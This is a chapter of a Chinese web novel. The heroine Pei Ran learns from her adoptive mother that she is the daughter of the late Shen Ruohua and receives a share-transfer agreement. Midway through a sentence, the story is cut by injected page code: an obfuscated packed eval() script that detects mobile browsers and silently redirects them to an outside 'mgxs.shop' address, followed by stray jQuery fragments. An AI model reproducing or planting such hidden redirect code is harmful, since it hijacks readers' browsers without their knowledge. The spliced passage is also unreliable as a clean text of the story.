从酒店出来,裴苒靠在副驾上,手里还攥着那张老照片。
照片上沈若华站在海棠树下笑,眉眼弯弯,和裴苒本人不说百分之百像,至少也有百分之九十相像。
之前裴苒心里就有所怀疑,现如今更是怀疑更重。
她把照片给周漾看,开玩笑似的问:“你能不能分得清楚我们谁是谁?”
周漾很确定的回答:“能分清。”虽然照片上的人和裴苒很像,但就算再像,人与人之间也总是有区别的。
就算是两张完全相同的脸放在自己面前,周漾也有这个自信,能把真正的裴苒从中区别出来。
大约是看出裴苒心里很乱,周漾特意把车子开得很慢,拐出酒店停车场的时候绕了条安静的远路,让她一个人安静一会。
裴苒把照片翻来覆去的看,表面平静,可内心却早已掀起惊涛骇浪
“你说,两个完全没有血缘关系的人,有可能长得这么像吗。”她问周漾。
周漾把着方向盘,侧头看了她一眼,没有马上回答。
虽然也存在这样一种可能,但显然,还有更大的一种可能。并且这个可能现在正在颠覆裴苒有史以来的认知。
“我不知道。”她诚实的说,也不想在这件事上给出任何有可能会让她伤心的评论。
因为无论是或者不是,裴苒似乎注定都要为这件事伤心。
裴苒还在喃喃自语,心中似乎已经开始偏向了另一种可能性:“上次在沙龙,也有个设计师说我像沈若华,天底下哪有这么巧的事...”
其实经历过攻略者这件事后,裴苒已经知道自己所在的世界不过是更高维度的世界创作出来的一个没什么档次甚至称得上剧情俗套的小世界。
她觉得在这样一个充斥着狗血、误会、白月光、虐恋情深的世界里,出现什么样的剧情都不算过分。
加上现在这个,也不过是多了个‘真假千金’的烂俗套路。
“小七。”她忍不住问它:“你提前知道这件事吗?”
小七简直想痛哭流涕:“小苒,我发誓,我之前真的没有想过还有这种剧情,在我们一开始的攻略任务里,压根就没有赵家什么事啊。”
“自从南希擅自修改剧情把赵家也牵扯进来之后,这个小世界为了自行弥补逻辑,就开始自圆其说,胡乱添加这些乱七八糟的元素弥补设定,我真的不知道怎么会这样。”
也就是说,裴苒其实是薛定谔的‘裴苒’。
如果按照原本的剧情走,根本牵扯不到赵家的事,她或许永远只周漾的妻子,是李秀兰和裴建国的女儿。没有任何人知道她另一条暗线的身份,那这条暗线就相当于没有。
但现在,剧情线中无意间牵扯进了一个原本不存在的赵家,世界线开始自行弥补设定,于是裴苒就变成了赵家原配夫人沈若华生的女儿。
裴苒究竟是谁的女儿,或许只取决于剧情如何发展。
裴苒想明白这点后,倒是没有太难过,也不介意和他们玩一玩,顺便再来个为母复仇,打击小三和假千金之类的爽文剧情,反正她和赵婉清也算是‘有旧仇’。
她唯一担心的,就是如何和母亲李秀兰坦白这件事。她怕母亲伤心,更怕她以为自己去了赵家后,就不要现在这个家了。
周漾见裴苒一直没说话,有点担心:“你先不要想太多,或许事情不是你想的那样。如果你想调查清楚,我可以帮你。”
“我想先回家。”裴苒说。
她有预感,母亲李秀兰应该知道点什么,上次她和李秀兰提到过一次沈若华,当时母亲的脸色就有些奇怪,像是知道什么真相,但却不敢告诉自己。
“我想去问问清楚。”
周漾没再多问,把方向盘打了个弯,车子重新拐进老城区那条熟悉的巷子。
她把车停在楼下,问裴苒要不要她陪着上去。
裴苒想了想,说:“你在车里等我吧,有些话我妈可能当着你的面不好意思说。”
周漾识趣的点了点头,临走前,她有些担心的抓住裴苒的手,安慰她似的:“不管怎么样,我都一直在你身边。”
裴苒微微一愣,然后笑着俯下身,透过车窗,在她的脸上印下一个轻吻:“知道了。”
时间还不算太晚,李秀兰正好没有睡。
客厅的灯亮着,电视机开着但声音调得很低,她靠在沙发上,手里织着一件永远织不完的毛衣。
听见钥匙转动的声音,她抬起头,看见裴苒推门进来,惊讶的放下手里的毛线团:“你怎么回来了?”还是一个人。
之前裴苒说她和周漾和好了,现在搬回去和周漾还有念念一起住,当时李秀兰和裴建国还很高兴呢,这会见到女儿是一个人回来的,李秀兰下意识就以为两人是不是吵架了。
“周漾欺负你了吗?”
李秀兰脸上的表情活像是只护崽的老母鸡,好像下一秒就要去找周漾算账一般。
裴苒赶紧哭笑不得的拦住她:“妈,你想什么呢,我就是回来看看。”
“还有。”她顿了顿,走到目前面前,把那张老照片放在她手上,“今天我陪周漾一起参加晚宴,在晚宴上碰到一个人,她说我长得很像这个人。”
李秀兰看见裴苒递过来的照片,眼神瞬间变得飘闪起来。
裴苒再了解不过母亲的表情,见她这样,便知道她定是知道一些什么,但是没有告诉自己。
“这已经是第二次有人说我们长得像了。”
“妈,你是不是知道些什么,能告诉我吗?”
李秀兰死死盯着那张照片,没有说话,但裴苒注意到她的手指在微微发抖。
等她再抬起头看向裴苒,那双苍老的眼睛里已经涌出太多复杂的情绪。有心疼,有愧疚,似乎还有一种真相即将揭晓后的如释重负。
李秀兰伸出手,动作缓慢的把裴苒落在脸颊边的一缕碎发别回耳后,像是在抚摸什么稀世珍宝一般。
“苒苒,妈妈本来打算过段时间再和你好好谈谈这件事的,但没想到你这么聪明,大概已经猜出什么了吧...”
大约是李秀兰的目光太过悲伤,悲伤到裴苒都不忍心再追问下去,她忽然生出一种落荒而逃的冲动,想阻止母亲继续说下去:“妈,如果你不想说,我就不问了。我只是想告诉你,无论发生什么事,你永远是我妈妈。”
“这一点,永远不会变。”
李秀兰擦了一下眼角的泪水,眼神却逐渐坚定下来。
如果错过这个机会,她不知道还能不能再鼓起勇气再提这件事,趁着女儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727161|207925||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
今天提出来,她也决定要把所有事全盘托出。
她把裴苒拉到沙发上坐下,有些艰难的开口道:“沈若华,是我这辈子最好的朋友。”
说完,她紧紧盯着裴苒的脸看,似乎有些怕后面的话她会接受不了。
“若华跟我从小一起长大,是纺织厂家属院里光屁.股玩到大的交情。”
“她啊,打小就长得好看,手也巧,画什么像什么,厂里办黑板报都是她画报头。”
“后来,她嫁给赵阔,两个人一起做服装生意,赵氏最早那些衣服的款式全是她画的。”
“她怀你那年,赵阔就跟一个叫林佩蓉的女人搞上了,也就是他现在的妻子。”
“若华刚出月子就发现公司的账目不对,赵阔和林佩蓉架空了公司的钱想在外面重新弄个子公司,账目被她全部翻了出来。”
“那天下午,她给我打了电话,说他们出|轨的证据全都整理好了,明天就去找律师咨询离婚的事情。结果第二天早上,就传出她从赵家别墅的楼梯上摔下来,后脑着地,人没了。”
“赵家和警察对外宣称是一场意外,但我不信。”
“一个刚给我打完电话,还在期盼未来美好生活的女人,怎么可能突然就出了意外?”
李秀兰的目光中射出怒火和恨意:“一定是他们害死了若华!”
但她没有任何证据,最终这件事情只能被当做是意外处理。
“若华出事后的第二天,赵家的保姆桂姨就抱着你敲响了我家的大门。”
“她说若华对她有恩,小小姐不能再留在赵家了,否则林佩蓉下一个要除掉的就是你。”
“我跟老裴结婚好几年都没有孩子,我把这件事和他说了后,他也同意我把你留在身边,这就当是我们的亲女儿。”
“这些年,桂姨一直待在赵家没走,好不容易取得了林佩蓉的信任,现如今,也是时候该让你知道事情的真相了。”
李秀兰从木箱里拿出那几封信和手稿之后,又从最底下摸出一个牛皮纸信封,封口用火漆封着,上面盖的是赵氏集团的公章。
她把信封放在裴苒手上,“这些,全都是若华生前留给你的。”
裴苒拆开封口,抽出里面那叠文件,纸张已经泛黄了,但字迹清晰,里面是一份股权转让协议,甲方沈若华,乙方裴苒,右下角有沈若华的亲笔签名和手印。
附件里还有一份持股证明,赵氏集团百分之十五的股份,归属人是沈若华。
“若华出事前几天把这些东西交给了桂姨,她当时应该已经感觉到了什么,所以提前做了安排。”
“协议上写得清清楚楚,这百分之十五的股份在你成年之后就自动转到你名下,若你不在了,便自动捐赠给慈善机构。”
“赵阔这些年压着这些股份没动,就是怕这笔钱会自动捐献给慈善机构。现在你就是若华唯一的法定继承人,谁也赖不掉。”
有这份股权协议在,已经足够裴苒把赵氏集团闹个天翻地覆了。
裴苒低头看着那份协议,沈若华的字迹清秀,有力,收笔的地方有一个小小的回锋。
她以前在设计稿上签自己的名字时,收笔也有同样的习惯。
她第一次神奇的意识到,原来习惯竟然也会遗传。